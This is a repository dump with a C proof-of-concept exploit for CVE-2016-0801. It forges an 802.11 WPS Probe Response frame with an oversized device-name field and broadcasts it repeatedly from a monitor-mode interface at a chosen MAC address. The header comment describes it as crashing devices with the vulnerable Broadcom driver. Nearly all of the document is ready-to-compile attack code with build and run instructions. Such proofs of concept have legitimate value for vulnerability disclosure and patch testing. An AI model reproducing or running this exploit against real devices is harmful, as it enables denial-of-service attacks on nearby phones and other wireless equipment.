├── README.md └── PoC.c /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2016-0801 -------------------------------------------------------------------------------- /PoC.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2016 by AbdSec Core Team 3 | * 4 | * This program is free software: you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation, either version 3 of the License, or 7 | * (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program. If not, see . 16 | */ 17 | 18 | /* 19 | USAGE 20 | 21 | # airmon-ng start wlan0 22 | # gcc -o wps PoC.c -Wall -O2 -DDEBUG -DSHOW 23 | # ./wps 24 | Total Wps Length: 118 25 | 26 | [99] SSID: DON'T_CONNECT 27 | DEST: ff ff ff ff ff ff 28 | Sending Packet (315 byte) ... 29 | 30 | ... 31 | */ 32 | 33 | /* 34 | This is a proof of concept for CVE-2016-0801 Bug 35 | the program proceeds as follows: 36 | o A new WPS Probe Response packet is generated. 37 | o The device_name field of this packet is filled with some string that's longer than hundered characters. 38 | o This packet is broadcasted on the network( interface needs to be on monitor mode for this to work). 39 | At this point the device picking up this packet, identified by its mac address(DESTINATION_MAC), should have crashed. 40 | 41 | the following patch shows how contributor fixed the bug 42 | https://android.googlesource.com/kernel/msm/+/68cdc8df1cb6622980b791ce03e99c255c9888af%5E!/#F0 43 | 44 | 45 | Wireshark filter for displaying PROBE RESPONSE packets: wlan.fc.type_subtype == 0x05 46 | Reference WPS Architecture: http://v1ron.ru/downloads/docs/Wi-Fi%20Protected%20Setup%20Specification%201.0h.pdf 47 | 48 | Acımasız Tom'a Sevgilerle :) 49 | */ 50 | 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | 62 | 63 | #define calc_size(x) (sizeof(x) - 2) 64 | #define reverse8(x) (x<<4&0xf0) | ((x>>4)&0x0f) /* 0XAB becomes 0XBA */ 65 | #define reverse16(x) (x&0xff00)>>8 | (x&0x00ff)<<8 /* 0XABCD becomes 0XCDAB */ 66 | 67 | #define PROBE_REQUEST 0x04 68 | #define PROBE_RESPONSE 0x05 69 | #define BEACON 0x08 70 | 71 | #define SOURCE_MAC "\xaa\xbb\xdd\x55\xee\xcc" 72 | 73 | /* Tag Number Definitions */ 74 | #define SSID_t 0x00 75 | #define RATES_t 0x01 76 | #define DS_t 0x03 77 | #define ERP_t 0x2a 78 | #define ESR_t 0x32 79 | #define RSN_t 0x30 80 | #define HTC_t 0x2d 81 | #define HTI_t 0x3d 82 | #define VENDOR_t 0xdd 83 | 84 | #define OUI_AES "\x00\x0f\xac" 85 | #define OUI_Microsof "\x00\x50\xf2" 86 | 87 | 88 | /* Data Element Type Definitions for WPS Probe Response */ 89 | 90 | #define VERSION 0x104a 91 | #define WPS_STATE 0x1044 92 | #define SELECTED_REGISTRAR 0x1041 93 | #define DEVICE_PASSWORD_ID 0x1012 94 | #define SELECTED_REGISTRAR_CONFIG_METHODS 0x1053 95 | #define RESPONSE_TYPE 0x103b 96 | #define UUID_E 0x1047 97 | #define MANUFACTURER 0x1021 98 | #define MODEL_NAME 0x1023 99 | #define MODEL_NUMBER 0x1024 100 | #define SERIAL_NUMBER 0x1042 101 | #define PRIMARY_DEVICE_TYPE 0x1054 102 | #define WPS_ID_DEVICE_NAME 0x1011 103 | #define CONFIG_METHODS 0x1008 104 | 105 | /* Just cloned from a sniffed packet */ 106 | #define RATES_v "\x82\x84\x8b\x96" 107 | #define ESRATES_v "\x8c\x12\x98\x24\xb0\x48\x60\x6c" 108 | 109 | /* Wps Version */ 110 | #define WV 0x10 111 | /* Wps State */ 112 | #define WS 0x01 113 | /* Selected Registrar */ 114 | #define SR 0x02 115 | /* Response Type */ 116 | #define RT 0x03 117 | 118 | /* For Device Password ID */ 119 | #define PIN 0x0000 120 | /* For Selected Registrar Config Methods */ 121 | #define SRCM 0x018c 122 | /* For Config Methods */ 123 | #define CM 0x0004 124 | 125 | 126 | /* For Broadcast */ 127 | #define DELAY 200000 128 | /* !!! Monitor mode on !!!*/ 129 | #define IFACE "mon0" 130 | 131 | #define MAX_SIZE 1024 132 | 133 | /* Max Tag Length */ 134 | #define MAX_TL 0xff 135 | 136 | typedef uint8_t u8; 137 | typedef uint16_t u16; 138 | 139 | /* Common Tags */ 140 | typedef struct { 141 | /* Tag Number */ 142 | u8 tn; 143 | /* Tag Length */ 144 | u8 tl; 145 | } com_a; 146 | 147 | typedef struct { 148 | u8 oui[3]; 149 | u8 type; 150 | } com_b; 151 | 152 | typedef struct data_definition{ 153 | /* Data Element Type */ 154 | u16 det; 155 | /* Data Element Length */ 156 | u16 del; 157 | } def; 158 | 159 | 160 | /* Common Wps Tags */ 161 | typedef struct wtag_8 { 162 | def init; 163 | u8 item; 164 | } __attribute__((packed)) wtag_a; 165 | 166 | 167 | typedef struct wtag_16 { 168 | def init; 169 | u16 item; 170 | } __attribute__((packed)) wtag_b; 171 | 172 | 173 | typedef struct wtag_point { 174 | def init; 175 | char *item; 176 | } __attribute__((packed)) wtag_c; 177 | 178 | 179 | struct ie80211_hdr { 180 | u8 type; 181 | u8 flags; 182 | u16 duration; 183 | u8 dest[6]; 184 | u8 source[6]; 185 | u8 bssid[6]; 186 | u8 fragment_no; 187 | u8 sequence_no; 188 | }; 189 | 190 | /* Dynamic Tag */ 191 | struct ssid { 192 | com_a head; 193 | u8 *ssid; 194 | }; 195 | 196 | /* Tagged Parameters */ 197 | struct Wifi_Tags { 198 | 199 | struct { 200 | com_a head; 201 | u8 rates[4]; 202 | } rates; 203 | 204 | struct { 205 | com_a head; 206 | u8 channel; 207 | } ds; 208 | 209 | struct { 210 | com_a head; 211 | u8 erp_info; 212 | } erp_info; 213 | 214 | /* Extended Support Rates */ 215 | struct { 216 | com_a head; 217 | u8 rates[8]; 218 | } esr; 219 | 220 | struct { 221 | com_a head; 222 | u16 version; 223 | /* Group Cipher Suite */ 224 | com_b gcp; 225 | u16 pcs_count; 226 | /* Pairwise Cipher Suite */ 227 | com_b pcs; 228 | u16 akm_count; 229 | /* Auth Key Management */ 230 | com_b akm; 231 | u16 rsn; 232 | } rsn_info; 233 | 234 | struct { 235 | com_a head; 236 | com_b wpa_o; 237 | u16 version; 238 | /* Multi Cipher Suite */ 239 | com_b mcs; 240 | u16 ucs_count; 241 | /* Unicast Cipher Suite */ 242 | com_b ucs; 243 | /* Auth Key Management */ 244 | u16 akm_count; 245 | com_b akm; 246 | } wpa; 247 | 248 | struct { 249 | com_a head; 250 | u16 info; 251 | u8 mpdu; 252 | u8 scheme[16]; 253 | u16 capabilities; 254 | u16 transmit; 255 | u8 asel; 256 | } ht_capabilites __attribute__((packed)); 257 | 258 | struct { 259 | com_a head; 260 | u8 channel; 261 | u8 subset1; 262 | u16 subset2; 263 | u16 subset3; 264 | u8 scheme[16]; 265 | } ht_info; 266 | }; 267 | 268 | /* 269 | * WPS Tag Probe Response 270 | */ 271 | struct WPSProbeRespIe { 272 | com_a head; 273 | com_b wps_o; 274 | wtag_a version; 275 | /* Wifi Protected Setup State */ 276 | wtag_a wpss; 277 | /* Selected Registrar */ 278 | wtag_a sreg; 279 | /* Device Password Id */ 280 | wtag_b dpi; 281 | /* Selected Registrar Config Methods */ 282 | wtag_b srcm; 283 | /* Response Type */ 284 | wtag_a resp; 285 | /* uuid 16 byte */ 286 | wtag_c uuid; 287 | /* Manufacturer */ 288 | wtag_c man; 289 | /* Model Name */ 290 | wtag_c mname; 291 | /* Model Number */ 292 | wtag_c numb; 293 | /* Serial Number */ 294 | wtag_c serial; 295 | /* Primary_device_type */ 296 | wtag_c dev_type; 297 | /* Device Name */ 298 | wtag_c dname; 299 | /* Config Methods */ 300 | wtag_b cmeth; 301 | }; 302 | 303 | typedef struct _MAC { 304 | unsigned char bytes[6]; 305 | } MAC; 306 | 307 | /* wtag_c pointer is address list from WPSProbeRespIE */ 308 | static long wtag_c_point[7]; 309 | 310 | 311 | /* Insert WPS Frames In Line With Types */ 312 | 313 | static void 314 | inwps_a( wtag_a *tag, u16 det, u8 par ) 315 | { 316 | tag->init.det = reverse16(det); 317 | tag->init.del = reverse16(0x01); 318 | tag->item = par; 319 | } 320 | 321 | static void 322 | inwps_b( wtag_b *tag, u16 det, u16 par ) 323 | { 324 | tag->init.det = reverse16(det); 325 | tag->init.del = reverse16(0x02); 326 | tag->item = reverse16(par); 327 | } 328 | 329 | static void 330 | inwps_c( wtag_c *tag, u16 det, char *par ) 331 | { 332 | static int counter = 0; 333 | int i = strlen(par); 334 | i = i > MAX_TL ? MAX_TL : i; 335 | tag->item = ( char * ) calloc( i, sizeof(char) ); 336 | 337 | tag->init.det = reverse16(det); 338 | tag->init.del = reverse16(i); 339 | 340 | strncpy( tag->item, par, i ); 341 | wtag_c_point[counter++] = (long )(void *)&(tag->item); 342 | } 343 | 344 | /* Convert 'struct WPSProbeRespIe' to bytearray */ 345 | int 346 | wtoa( char *pop, struct WPSProbeRespIe *tag ) 347 | { 348 | unsigned char *a = (void *)tag; 349 | char *tmp; 350 | long tmp_a; 351 | int i = 0, p = 0, co = 0, j; 352 | int size = sizeof(struct WPSProbeRespIe); 353 | 354 | while( p < size ) 355 | { 356 | if( wtag_c_point[co] == (long)(a+p) ){ 357 | assert(co++ < 7); 358 | tmp_a = 0; 359 | for( j = 0; j < 32; j+=8 ) 360 | tmp_a |= *(a+p++)<head.tl */ 379 | pop[1] = i-2; 380 | assert(i <= MAX_TL+1); 381 | /* i is array length */ 382 | 383 | return( i ); 384 | } 385 | 386 | 387 | struct WPSProbeRespIe * 388 | set_wps_probe_response(void) 389 | { 390 | struct WPSProbeRespIe *wps = ( struct WPSProbeRespIe * ) \ 391 | malloc( sizeof(struct WPSProbeRespIe) ); 392 | 393 | char *uuid = calloc( MAX_TL, sizeof(char) ); 394 | char *manufacturer = calloc( MAX_TL, sizeof(char) ); 395 | char *model_name = calloc( MAX_TL, sizeof(char) ); 396 | char *model_number = calloc( MAX_TL, sizeof(char) ); 397 | char *serial_number = calloc( MAX_TL, sizeof(char) ); 398 | char *device_type = calloc( MAX_TL, sizeof(char) ); 399 | char *device_name = calloc( MAX_TL, sizeof(char) ); 400 | 401 | /* 402 | * Fill them as you wish, but do NOT exceed 403 | * 0xff (256 bytes) length 404 | */ 405 | memset( uuid, 'B', 16 ); 406 | memset( manufacturer, 'A', 8 ); 407 | memset( model_name, 'D', 8 ); 408 | memset( model_number, 'B', 8 ); 409 | memset( serial_number,'O', 8 ); 410 | memset( device_type, 'Y', 8 ); 411 | memset( device_name, 'S', 128 ); /* For Broadcom CVE-2016-0801 > 100 */ 412 | 413 | 414 | /* Tag Number Vendor Specific */ 415 | wps->head.tn = VENDOR_t; 416 | /* The length will calculate after it packages */ 417 | wps->head.tl = 0x00; 418 | 419 | /* OUI: Microsof */ 420 | memcpy( wps->wps_o.oui, OUI_Microsof, sizeof(OUI_Microsof)); 421 | wps->wps_o.type = 0x04; 422 | 423 | inwps_a( &wps->version, VERSION, WV ); 424 | inwps_a( &wps->wpss, WPS_STATE, WS ); 425 | inwps_a( &wps->sreg, SELECTED_REGISTRAR, SR ); 426 | inwps_b( &wps->dpi, DEVICE_PASSWORD_ID, PIN ); 427 | inwps_b( &wps->srcm, SELECTED_REGISTRAR_CONFIG_METHODS, SRCM ); 428 | inwps_a( &wps->resp, RESPONSE_TYPE, RT ); 429 | inwps_c( &wps->uuid, UUID_E, uuid ); 430 | inwps_c( &wps->man, MANUFACTURER, manufacturer ); 431 | inwps_c( &wps->mname, MODEL_NAME, model_name ); 432 | inwps_c( &wps->numb, MODEL_NUMBER, model_number ); 433 | inwps_c( &wps->serial, SERIAL_NUMBER, serial_number ); 434 | inwps_c( &wps->dev_type, PRIMARY_DEVICE_TYPE, device_type ); 435 | inwps_c( &wps->dname, WPS_ID_DEVICE_NAME, device_name ); 436 | inwps_b( &wps->cmeth, CONFIG_METHODS, CM ); 437 | 438 | free( uuid ); 439 | free( manufacturer ); 440 | free( model_name ); 441 | free( model_number ); 442 | free( serial_number ); 443 | free( device_type ); 444 | free( device_name ); 445 | 446 | return( wps ); 447 | } 448 | 449 | 450 | int 451 | create_wifi(const char *ssid_str, const MAC *destination, char *pop) 452 | { 453 | /* 454 | * struct for radiotap_hdr and fixed_hdr are missing 455 | */ 456 | char radiotap_hdr[26]; 457 | char fixed_hdr[12]; 458 | struct ie80211_hdr *ie = calloc( sizeof(struct ie80211_hdr), 1 ); 459 | struct Wifi_Tags *tag = calloc( sizeof(struct Wifi_Tags), 1 ); 460 | struct ssid *ssid; 461 | int i, len = 0; 462 | 463 | memset( radiotap_hdr, 0, sizeof(radiotap_hdr) ); 464 | radiotap_hdr[2] = 26; /* Header Length */ 465 | 466 | memset( fixed_hdr, 'A', sizeof(fixed_hdr) ); 467 | 468 | ie->type = reverse8(PROBE_RESPONSE); 469 | memcpy( ie->dest, destination, 6 ); 470 | memcpy( ie->source, SOURCE_MAC, 6 ); 471 | memcpy( ie->bssid, SOURCE_MAC, 6 ); 472 | 473 | i = strlen( ssid_str ); 474 | ssid = calloc( i+2, 1 ); 475 | ssid->head.tn = SSID_t; 476 | ssid->head.tl = i; 477 | ssid->ssid = calloc(i,1); 478 | memcpy( ssid->ssid, ssid_str, i ); 479 | 480 | tag->rates.head.tn = RATES_t; 481 | tag->rates.head.tl = calc_size(tag->rates); 482 | memcpy(tag->rates.rates, RATES_v, sizeof(tag->rates.rates)); 483 | 484 | tag->ds.head.tn = DS_t; 485 | tag->ds.head.tl = calc_size(tag->ds); 486 | tag->ds.channel = 1; 487 | 488 | tag->erp_info.head.tn = ERP_t; 489 | tag->erp_info.head.tl = calc_size(tag->erp_info); 490 | tag->erp_info.erp_info = 0x00; 491 | 492 | tag->esr.head.tn = ESR_t; 493 | tag->esr.head.tl = calc_size(tag->esr); 494 | memcpy(tag->esr.rates, ESRATES_v, sizeof(tag->esr.rates)); 495 | 496 | tag->rsn_info.head.tn = RSN_t; 497 | tag->rsn_info.head.tl = calc_size(tag->rsn_info); 498 | tag->rsn_info.version = 1; 499 | 500 | memcpy( tag->rsn_info.gcp.oui, OUI_AES, \ 501 | sizeof(tag->rsn_info.gcp.oui) ); 502 | tag->rsn_info.gcp.type = 0x04; /* AES(CCM) */ 503 | 504 | tag->rsn_info.pcs_count = 1; 505 | memcpy( tag->rsn_info.pcs.oui, OUI_AES, \ 506 | sizeof(tag->rsn_info.pcs.oui) ); 507 | tag->rsn_info.pcs.type = 0x04; /* AES(CCM) */ 508 | 509 | tag->rsn_info.akm_count = 1; 510 | memcpy( tag->rsn_info.akm.oui, OUI_AES, \ 511 | sizeof(tag->rsn_info.akm.oui) ); 512 | tag->rsn_info.pcs.type = 0x02; 513 | 514 | tag->rsn_info.rsn = 0x0000; 515 | 516 | tag->wpa.head.tn = VENDOR_t; 517 | tag->wpa.head.tl = calc_size(tag->wpa); 518 | memcpy( tag->wpa.wpa_o.oui, OUI_Microsof, \ 519 | sizeof(tag->wpa.wpa_o.oui) ); 520 | tag->wpa.wpa_o.type = 1; 521 | tag->wpa.version = 1; 522 | 523 | memcpy( tag->wpa.mcs.oui, OUI_Microsof, \ 524 | sizeof(tag->wpa.mcs.oui) ); 525 | tag->wpa.mcs.type = 0x04; 526 | tag->wpa.ucs_count = 1; 527 | memcpy( tag->wpa.ucs.oui, OUI_Microsof, \ 528 | sizeof(tag->wpa.ucs.oui) ); 529 | tag->wpa.ucs.type = 0x04; 530 | 531 | tag->wpa.akm_count = 1; 532 | memcpy( tag->wpa.akm.oui, OUI_Microsof, \ 533 | sizeof(tag->wpa.akm.oui) ); 534 | tag->wpa.akm.type = 0x02; 535 | 536 | tag->ht_capabilites.head.tn = HTC_t; 537 | tag->ht_capabilites.head.tl = calc_size(tag->ht_capabilites); 538 | tag->ht_capabilites.info = 0x104e; 539 | tag->ht_capabilites.mpdu = 0x1f; 540 | tag->ht_capabilites.scheme[0] = 0xff; 541 | tag->ht_capabilites.scheme[1] = 0xff; 542 | tag->ht_capabilites.capabilities = 0x0004; 543 | 544 | tag->ht_info.head.tn = HTI_t; 545 | tag->ht_info.head.tl = calc_size(tag->ht_info); 546 | tag->ht_info.channel = 11; 547 | tag->ht_info.subset1 = 0x07; 548 | tag->ht_info.subset2 = 0x0001; 549 | tag->ht_info.scheme[0] = 0x0f; 550 | 551 | memcpy( pop, radiotap_hdr, sizeof(radiotap_hdr) ); 552 | memcpy( &pop[len+=sizeof(radiotap_hdr)], \ 553 | (u8 *)ie, sizeof(struct ie80211_hdr) ); 554 | memcpy( &pop[len+=sizeof(struct ie80211_hdr)], \ 555 | fixed_hdr, sizeof(fixed_hdr) ); 556 | memcpy( &pop[len+=sizeof(fixed_hdr)], \ 557 | (u8 *)&ssid->head, 2 ); 558 | memcpy( &pop[len+=2], ssid->ssid, i ); 559 | memcpy( &pop[len+=i], (u8 *) tag, \ 560 | sizeof(struct Wifi_Tags) ); 561 | len+=sizeof(struct Wifi_Tags); 562 | 563 | free( ssid ); 564 | free( tag ); 565 | free( ie ); 566 | 567 | return (len); 568 | } 569 | 570 | int 571 | broadcast(const char *ssid_str, const MAC *destination, char *packet, int len) 572 | { 573 | struct sockaddr_ll sll; 574 | struct ifreq ifr; 575 | struct iwreq iwr; 576 | int sock, ret, count = 100; 577 | 578 | sock = socket( AF_PACKET, SOCK_RAW, 0x300 ); 579 | if(sock < 0){ 580 | perror("socket() failed"); 581 | exit(EXIT_FAILURE); 582 | } 583 | 584 | memset( &ifr, 0, sizeof(ifr) ); 585 | strncpy( ifr.ifr_name, IFACE, sizeof(ifr.ifr_name) ); 586 | 587 | if( ioctl( sock, SIOCGIFINDEX, &ifr ) < 0 ){ 588 | perror( "ioctl(SIOCGIFINDEX) failed" ); 589 | close(sock); 590 | exit(EXIT_FAILURE); 591 | } 592 | 593 | memset( &sll, 0, sizeof(sll) ); 594 | sll.sll_family = AF_PACKET; 595 | sll.sll_ifindex = ifr.ifr_ifindex; 596 | 597 | if( ioctl( sock, SIOCGIFHWADDR, &ifr ) < 0 ) 598 | { 599 | perror( "ioctl(SIOCGIFHWADDR) failed" ); 600 | close(sock); 601 | exit(EXIT_FAILURE); 602 | } 603 | 604 | memset( &iwr, 0, sizeof( struct iwreq ) ); 605 | strncpy( iwr.ifr_name, IFACE, IFNAMSIZ ); 606 | 607 | if( ioctl( sock, SIOCGIWMODE, &iwr ) < 0 ) 608 | iwr.u.mode = IW_MODE_MONITOR; 609 | 610 | ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING; 611 | 612 | if ( (ioctl(sock, SIOCGIFFLAGS, &ifr)) < 0 ){ 613 | perror("ioctl(SIOCGIFFLAGS) failed"); 614 | close(sock); 615 | exit(EXIT_FAILURE); 616 | } 617 | 618 | if( bind( sock, (struct sockaddr *) &sll, 619 | sizeof( sll ) ) < 0 ) 620 | { 621 | perror( "bind() failed" ); 622 | close(sock); 623 | exit(EXIT_FAILURE); 624 | } 625 | 626 | while( count-- ){ 627 | #ifdef SHOW 628 | int i; 629 | printf("\n\033[34m [\033[31m%d\033[34m] \033[33m", count); 630 | printf("\tSSID: %s\n", ssid_str); 631 | printf("\tDEST: "); 632 | for(i=0;i<6;i++) 633 | printf("%02x ", destination->bytes[i]&0xff); 634 | printf("\n\tSending Packet (%d byte) ...\033[0m\n", len); 635 | #endif 636 | ret = write( sock, packet, len ); 637 | if( ret < 0 ){ 638 | perror("write() failed"); 639 | close( sock ); 640 | exit(EXIT_FAILURE); 641 | } 642 | usleep( DELAY ); 643 | } 644 | return 0; 645 | } 646 | 647 | int 648 | main(int argc, char **argv) 649 | { 650 | if(argc != 3) { 651 | printf( "Usage:\n" 652 | "\twps \n" 653 | "\tExample: wps DON'T_CONNECT 12-23-34-45-56-67\n" ); 654 | 655 | return EXIT_FAILURE; 656 | } 657 | 658 | const int MAX_SSID_SIZE = 32; 659 | 660 | char *ssid_str = (char *) calloc( MAX_SSID_SIZE + 1, sizeof(char) ); 661 | MAC destination = { 0 }; 662 | char *packet = (char *) calloc( MAX_SIZE, sizeof(char) ); 663 | struct WPSProbeRespIe *wps; 664 | int len; 665 | 666 | strncpy( ssid_str, argv[1], MAX_SSID_SIZE ); 667 | 668 | sscanf(argv[2], "%2hhx-%2hhx-%2hhx-%2hhx-%2hhx-%2hhx", 669 | &destination.bytes[0], 670 | &destination.bytes[1], 671 | &destination.bytes[2], 672 | &destination.bytes[3], 673 | &destination.bytes[4], 674 | &destination.bytes[5]); 675 | 676 | len = create_wifi( ssid_str, &destination, packet ); 677 | wps = set_wps_probe_response(); 678 | len += wtoa( &packet[len], wps ); 679 | broadcast( ssid_str, &destination, packet, len ); 680 | 681 | free( wps ); 682 | free( packet ); 683 | free( ssid_str ); 684 | 685 | return 0; 686 | } 687 | --------------------------------------------------------------------------------